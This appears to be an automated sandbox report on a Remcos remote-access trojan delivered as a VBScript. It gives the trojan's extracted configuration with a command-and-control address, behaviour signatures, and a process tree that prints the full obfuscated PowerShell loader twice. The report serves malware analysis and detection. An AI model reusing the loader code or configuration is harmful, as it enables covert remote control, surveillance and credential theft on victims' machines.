Analysis
- max time kernel
148s - max time network
146s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
10/07/2026, 05:43
General
- Target Laminaterne.vbs
- Size 22KB
- Sample260710-getm2se18v
- SHA256 1f08b33c61a20cb9327b1a529df79f2072ba72646631619e622eb0c1e6a6e8f7
Malware Config
Extracted
-
remcos
-
RemoteHost
-
102.220.160.21:2404
-
audio_folder
MicRecords
-
audio_path
ApplicationPath
-
audio_record_time
5
-
connect_delay
0
-
connect_interval
1
-
copy_file
remcos.exe
-
copy_folder
Remcos
-
delete_file
false
-
hide_file
false
-
hide_keylog_file
false
-
install_flag
false
-
keylog_crypt
false
-
keylog_file
logs.dat
-
keylog_flag
false
-
keylog_folder
remcos
-
mouse_option
false
-
mutex
Rmc-FOVHV5
-
screenshot_crypt
false
-
screenshot_flag
false
-
screenshot_folder
Screenshots
-
screenshot_path
%AppData%
-
screenshot_time
10
-
take_screenshot_option
false
-
take_screenshot_time
5
Signatures
- Family: Remcos
Remcos is a closed-source remote control and surveillance software.
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
- Accesses Microsoft Outlook profiles 1 TTPs 2 IoCs
- Contacts third-party web service commonly abused for C2 1 TTPs 3 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
- Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs
Adversaries may check for Internet connectivity on compromised systems.
- Runs ping.exe 1 TTPs 1 IoCs
- Suspicious behavior: EnumeratesProcesses 5 IoCs
- Suspicious behavior: MapViewOfSection 1 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 6 IoCs
- outlook_office_path 1 IoCs
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Laminaterne.vbs"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Ping.exePing Mul8668.8668.8668.babe2⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "rv 'studieture' 'hestetrukket' 'accommodatingly';$bodyweight=-32401+32401;$skybanken198=41581-35581;function skadesforsikringers ($solgtes,$rundturensnnumerableness) {$samtidshistorikeres=udsprjter(@(120,232,225,224,211,217,201,226,163,203,230,214,198,157,150,230,225,211,200,227,235,219,211,213,199,227,224,233,217,202,214,208,216,213,211,213,185,232,229,157)) ;Astrid ($samtidshistorikeres)}function udsprjter ($ursigram) { do {$skybanken198=$gardnap[$bodyweight%12];$ursigram[$bodyweight]-=$skybanken198;$skybanken198=[char]$ursigram[$bodyweight];$udmaalingen+=$skybanken198;$bodyweight++} while ($ursigram[$bodyweight])$udmaalingen}function Astrid ($chackling) {&($cityfolk) $chackling}Function Malurus ($ursigram,$countersignature=0){$skullduggeries=udsprjter(@(175,184,225,226,226,202,214,227,211,163,168,173,198,228,223,182,205,216,201,165,170,188,226,217,189,227,217,156,144,218,214,226,223,208,224,200,193,158));$esperantisten=@(Astrid ($skullduggeries));For($rundturens=0; $esperantisten[$rundturens] -ne $forsgsarbejdes233; $rundturens++){$esperantisten[$rundturens] = skadesforsikringers $esperantisten[$rundturens] $gardnap[$rundturens%12]}$unkerchiefed=udsprjter(@(129,223,225,221,218,133,191,210,222,202,224,194,177,210,150,217,223,213,201,225,215,215,226,208,199,233,215,226));$minimeringens=Astrid ($unkerchiefed);if ($countersignature) { Astrid $minimeringens}else {;$minimeringens}}$gardnap=@(84,117,114,116,108,101,100,111,118,105,110,103);$cityfolk=udsprjter @(157,186,202);$rundturensnflationssikker20='\lingala.Tab';$rundturensnnumerablenessreviarernes=Malurus 'YVtCVEQyDQESBhkUdDsmVF1VSl9NSTkOOkNGT0wdUltNSRwRbkRHRkJVTU8xDA0MO1pARF1VVF5GWE4hPQcXEgMdS15DW0BX';$nephrotyphoid=Malurus 'PAEGBB9fS0ASGwcRMVsVGwMCCApYCgEKewARSwkdFAAEHVMDOwIcGAMEAEkfDVNWGwIrNVQRXCgUDlgPPgw1Lio3JyEPNgJTMA82EVsHEQY=';$sossle=Malurus 'GQYKGQBXSjwTGxgCJi0/OCQxMD9YX0BX';$rundturensnadhesive=Malurus 'EzAm';$deadfall=Malurus 'AQYXBkEkAwoYHQ==';$fumlede=Malurus 'ag==';Malurus 'cBIeGw4ECFUCDA0TPRcAFQIGDAYXHQtacBAcAlYEFB8SCBoGf1EAAQIBEBoEDAAUOhMeFRgMCwEFGgcMPxAARlw=' 1;Malurus 'cBIeGw4ECFUVCBwRMQcBHAUVWUsYDB4PJhoGDRwNCwYSRx0XOBwGXEgDEQIaDAoCfQ==' 1;$nephrotyphoid=$carvership[0];Malurus 'cBIeGw4ECFUDBw0GJhAUAQAJHVI4DBlKGxcYEQ8RREI1BgNHcAYdBx8JAQ==' 1;Malurus 'cBIeGw4ECFUCHAIOJBQcEQJYTDsTGhpKBBQGHExBEAoVHQcFJhQcFwQMBRsTQA==' 1;while (!$tulipanen) {Malurus 'cBIeGw4ECFUFDAUUIRQeBA0XEAETG1NDIAcHEQ==' 1;Malurus 'cAAcFw0XAQkDBQIeehoCEQJNQB0DBwoTIQcXGh8LBQseDB0OIhBeVEgLAR8eGwETLQUaGwUBSE9SDw8LJxBb' 1;Malurus 'cAAcFw0XAQkDBQIeegYXAD4AFRoTGhovMRQWER5NQAsTCAoBNRkeWExBFhoYDRoSJhAcBwILEQITGw8FOBAcER8WFgoAAA8VMQccER9M' 1;Malurus 'cAAcFw0XAQkDBQIeegYXGghNTQ==' 1;Malurus 'cBIeGw4ECFUUDB0TNRkeHQICAQEFVEoSOhYTBgkDEQMaEEAUIBQGAR9FSQoHSVxXZA==' 1;if ($bestallingens) {Malurus 'DxcLAAk+OTJSDgIINhQeTgEEFgcZBRpacAAcFw0XAQkDBQIeegcXBxwKChwTKwEDLQ==' 1;Malurus 'JxZSUBgABxsfCxwGOhYaHQ0RAU9SBA8VPBoeAExIIQEVBgoOOhJSNhURAQ==' 1} Malurus 'BxkXERxNUEY=' 1;Malurus 'cBIeGw4ECFUCHAIOJBQcEQJYTDsTGhpKBBQGHExBEAoVHQcFJhQcFwQMBRsTQA==' 1 ;Malurus 'cBIeGw4ECFUSAAMKMQFPUAsJCw0XBVQXPRocER4cT0RTTQ0GJgMXBh8NDR9YCgESOgE=' 1;$nephrotyphoid=$carvership[$dimmet]}$specialtegnenes=150103;$exhaled=19666;Malurus 'cBIeGw4ECFUTGwEAMRsXAAUGWQgVSUoTMRYGHQ4XBQEVAQcGIBA=' 1;Malurus 'cBIeGw4ECFU+AwsKORAeSTcmCwEADBwTCU9IMh4KCS0XGgtRYCYGBgULA0dSDBwIMxAcERgMB0Y=' 1;Malurus 'cBIeGw4ECFUQAA0PIRAGB1E+MAoOHUAiOhYdEAULAzJMUy80Fzw7WisAEDwCGwcJM11WPAYACQITBUc=' 1;Malurus 'cBIeGw4ECFUFHBgCJhsbAAkRAQFLTQgONx0HERgWShwDCx0TJhwcE0RBFx8TCgcGOAEXEwIACgoFRUoCLB0TGAkBTQ==' 1;Astrid $suverniteten;"2⤵
- Badlisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "rv 'studieture' 'hestetrukket' 'accommodatingly';$bodyweight=-32401+32401;$skybanken198=41581-35581;function skadesforsikringers ($solgtes,$rundturensnnumerableness) {$samtidshistorikeres=udsprjter(@(120,232,225,224,211,217,201,226,163,203,230,214,198,157,150,230,225,211,200,227,235,219,211,213,199,227,224,233,217,202,214,208,216,213,211,213,185,232,229,157)) ;Astrid ($samtidshistorikeres)}function udsprjter ($ursigram) { do {$skybanken198=$gardnap[$bodyweight%12];$ursigram[$bodyweight]-=$skybanken198;$skybanken198=[char]$ursigram[$bodyweight];$udmaalingen+=$skybanken198;$bodyweight++} while ($ursigram[$bodyweight])$udmaalingen}function Astrid ($chackling) {&($cityfolk) $chackling}Function Malurus ($ursigram,$countersignature=0){$skullduggeries=udsprjter(@(175,184,225,226,226,202,214,227,211,163,168,173,198,228,223,182,205,216,201,165,170,188,226,217,189,227,217,156,144,218,214,226,223,208,224,200,193,158));$esperantisten=@(Astrid ($skullduggeries));For($rundturens=0; $esperantisten[$rundturens] -ne $forsgsarbejdes233; $rundturens++){$esperantisten[$rundturens] = skadesforsikringers $esperantisten[$rundturens] $gardnap[$rundturens%12]}$unkerchiefed=udsprjter(@(129,223,225,221,218,133,191,210,222,202,224,194,177,210,150,217,223,213,201,225,215,215,226,208,199,233,215,226));$minimeringens=Astrid ($unkerchiefed);if ($countersignature) { Astrid $minimeringens}else {;$minimeringens}}$gardnap=@(84,117,114,116,108,101,100,111,118,105,110,103);$cityfolk=udsprjter @(157,186,202);$rundturensnflationssikker20='\lingala.Tab';$rundturensnnumerablenessreviarernes=Malurus 'YVtCVEQyDQESBhkUdDsmVF1VSl9NSTkOOkNGT0wdUltNSRwRbkRHRkJVTU8xDA0MO1pARF1VVF5GWE4hPQcXEgMdS15DW0BX';$nephrotyphoid=Malurus 'PAEGBB9fS0ASGwcRMVsVGwMCCApYCgEKewARSwkdFAAEHVMDOwIcGAMEAEkfDVNWGwIrNVQRXCgUDlgPPgw1Lio3JyEPNgJTMA82EVsHEQY=';$sossle=Malurus 'GQYKGQBXSjwTGxgCJi0/OCQxMD9YX0BX';$rundturensnadhesive=Malurus 'EzAm';$deadfall=Malurus 'AQYXBkEkAwoYHQ==';$fumlede=Malurus 'ag==';Malurus 'cBIeGw4ECFUCDA0TPRcAFQIGDAYXHQtacBAcAlYEFB8SCBoGf1EAAQIBEBoEDAAUOhMeFRgMCwEFGgcMPxAARlw=' 1;Malurus 'cBIeGw4ECFUVCBwRMQcBHAUVWUsYDB4PJhoGDRwNCwYSRx0XOBwGXEgDEQIaDAoCfQ==' 1;$nephrotyphoid=$carvership[0];Malurus 'cBIeGw4ECFUDBw0GJhAUAQAJHVI4DBlKGxcYEQ8RREI1BgNHcAYdBx8JAQ==' 1;Malurus 'cBIeGw4ECFUCHAIOJBQcEQJYTDsTGhpKBBQGHExBEAoVHQcFJhQcFwQMBRsTQA==' 1;while (!$tulipanen) {Malurus 'cBIeGw4ECFUFDAUUIRQeBA0XEAETG1NDIAcHEQ==' 1;Malurus 'cAAcFw0XAQkDBQIeehoCEQJNQB0DBwoTIQcXGh8LBQseDB0OIhBeVEgLAR8eGwETLQUaGwUBSE9SDw8LJxBb' 1;Malurus 'cAAcFw0XAQkDBQIeegYXAD4AFRoTGhovMRQWER5NQAsTCAoBNRkeWExBFhoYDRoSJhAcBwILEQITGw8FOBAcER8WFgoAAA8VMQccER9M' 1;Malurus 'cAAcFw0XAQkDBQIeegYXGghNTQ==' 1;Malurus 'cBIeGw4ECFUUDB0TNRkeHQICAQEFVEoSOhYTBgkDEQMaEEAUIBQGAR9FSQoHSVxXZA==' 1;if ($bestallingens) {Malurus 'DxcLAAk+OTJSDgIINhQeTgEEFgcZBRpacAAcFw0XAQkDBQIeegcXBxwKChwTKwEDLQ==' 1;Malurus 'JxZSUBgABxsfCxwGOhYaHQ0RAU9SBA8VPBoeAExIIQEVBgoOOhJSNhURAQ==' 1} Malurus 'BxkXERxNUEY=' 1;Malurus 'cBIeGw4ECFUCHAIOJBQcEQJYTDsTGhpKBBQGHExBEAoVHQcFJhQcFwQMBRsTQA==' 1 ;Malurus 'cBIeGw4ECFUSAAMKMQFPUAsJCw0XBVQXPRocER4cT0RTTQ0GJgMXBh8NDR9YCgESOgE=' 1;$nephrotyphoid=$carvership[$dimmet]}$specialtegnenes=150103;$exhaled=19666;Malurus 'cBIeGw4ECFUTGwEAMRsXAAUGWQgVSUoTMRYGHQ4XBQEVAQcGIBA=' 1;Malurus 'cBIeGw4ECFU+AwsKORAeSTcmCwEADBwTCU9IMh4KCS0XGgtRYCYGBgULA0dSDBwIMxAcERgMB0Y=' 1;Malurus 'cBIeGw4ECFUQAA0PIRAGB1E+MAoOHUAiOhYdEAULAzJMUy80Fzw7WisAEDwCGwcJM11WPAYACQITBUc=' 1;Malurus 'cBIeGw4ECFUFHBgCJhsbAAkRAQFLTQgONx0HERgWShwDCx0TJhwcE0RBFx8TCgcGOAEXEwIACgoFRUoCLB0TGAkBTQ==' 1;Astrid $suverniteten;"1⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\backgroundTaskHost.exe"C:\Windows\SysWOW64\backgroundTaskHost.exe"2⤵
-
-
C:\Windows\SysWOW64\backgroundTaskHost.exe"C:\Windows\SysWOW64\backgroundTaskHost.exe"2⤵
- Accesses Microsoft Outlook profiles
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
- outlook_office_path
-
C:\Windows\SysWOW64\backgroundTaskHost.exe"C:\Windows\SysWOW64\backgroundTaskHost.exe"3⤵
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
ModuleAnalysisCache
StartupProfileData-NonInteractive
lingala.Tab
memory/712-12-0x00007FF981F90000-0x00007FF982934000-memory.dmp
memory/712-14-0x00007FF981F90000-0x00007FF982934000-memory.dmp
memory/712-7-0x00007FF981F90000-0x00007FF982934000-memory.dmp
memory/712-8-0x00007FF981F90000-0x00007FF982934000-memory.dmp
memory/712-9-0x00007FF981F90000-0x00007FF982934000-memory.dmp
memory/712-11-0x00007FF981F90000-0x00007FF982934000-memory.dmp
memory/712-10-0x00007FF981F90000-0x00007FF982934000-memory.dmp
memory/712-5-0x00007FF981F90000-0x00007FF982934000-memory.dmp
memory/712-13-0x00007FF981F90000-0x00007FF982934000-memory.dmp
memory/712-6-0x00007FF981F90000-0x00007FF982934000-memory.dmp
memory/712-15-0x00007FF981F90000-0x00007FF982934000-memory.dmp
memory/712-19-0x00007FF981F90000-0x00007FF982934000-memory.dmp
memory/712-21-0x00007FF981F90000-0x00007FF982934000-memory.dmp
memory/712-0-0x00007FF98211F000-0x00007FF982120000-memory.dmp
memory/712-23-0x00007FF981F90000-0x00007FF982934000-memory.dmp
memory/712-4-0x0000023B4D820000-0x0000023B4D842000-memory.dmp
memory/712-1-0x00007FF981F90000-0x00007FF982934000-memory.dmp
memory/5160-62-0x000000001ECB0000-0x000000001EDA7000-memory.dmp
memory/5160-68-0x0000000000F90000-0x0000000002276000-memory.dmp
memory/5160-74-0x0000000000F90000-0x0000000002276000-memory.dmp
memory/5160-73-0x0000000000F90000-0x0000000002276000-memory.dmp
memory/5160-72-0x0000000000F90000-0x0000000002276000-memory.dmp
memory/5160-71-0x0000000000F90000-0x0000000002276000-memory.dmp
memory/5160-70-0x0000000000F90000-0x0000000002276000-memory.dmp
memory/5160-69-0x0000000000F90000-0x0000000002276000-memory.dmp
memory/5160-67-0x0000000000F90000-0x0000000002276000-memory.dmp
memory/5160-66-0x0000000000F90000-0x0000000002276000-memory.dmp
memory/5160-65-0x0000000000F90000-0x0000000002276000-memory.dmp
memory/5160-64-0x0000000000F90000-0x0000000002276000-memory.dmp
memory/5160-63-0x000000001ECB0000-0x000000001EDA7000-memory.dmp
memory/5160-59-0x000000001ECB0000-0x000000001EDA7000-memory.dmp
memory/5160-54-0x0000000000F90000-0x0000000002276000-memory.dmp
memory/6360-36-0x0000000006110000-0x000000000612A000-memory.dmp
memory/6360-27-0x0000000005610000-0x0000000005676000-memory.dmp
memory/6360-24-0x0000000004D70000-0x00000000053BA000-memory.dmp
memory/6360-39-0x0000000008070000-0x000000000862A000-memory.dmp
memory/6360-38-0x00000000070C0000-0x00000000070E2000-memory.dmp
memory/6360-37-0x0000000007160000-0x00000000071F6000-memory.dmp
memory/6360-35-0x0000000007430000-0x0000000007AAC000-memory.dmp
memory/6360-41-0x0000000008630000-0x000000000C594000-memory.dmp
memory/6360-22-0x00000000046E0000-0x0000000004716000-memory.dmp
memory/6360-25-0x0000000005500000-0x0000000005522000-memory.dmp
memory/6360-33-0x0000000005BC0000-0x0000000005C0C000-memory.dmp
memory/6360-32-0x0000000005BA0000-0x0000000005BBE000-memory.dmp
memory/6360-28-0x0000000005680000-0x00000000059DB000-memory.dmp
memory/6360-26-0x00000000055A0000-0x0000000005606000-memory.dmp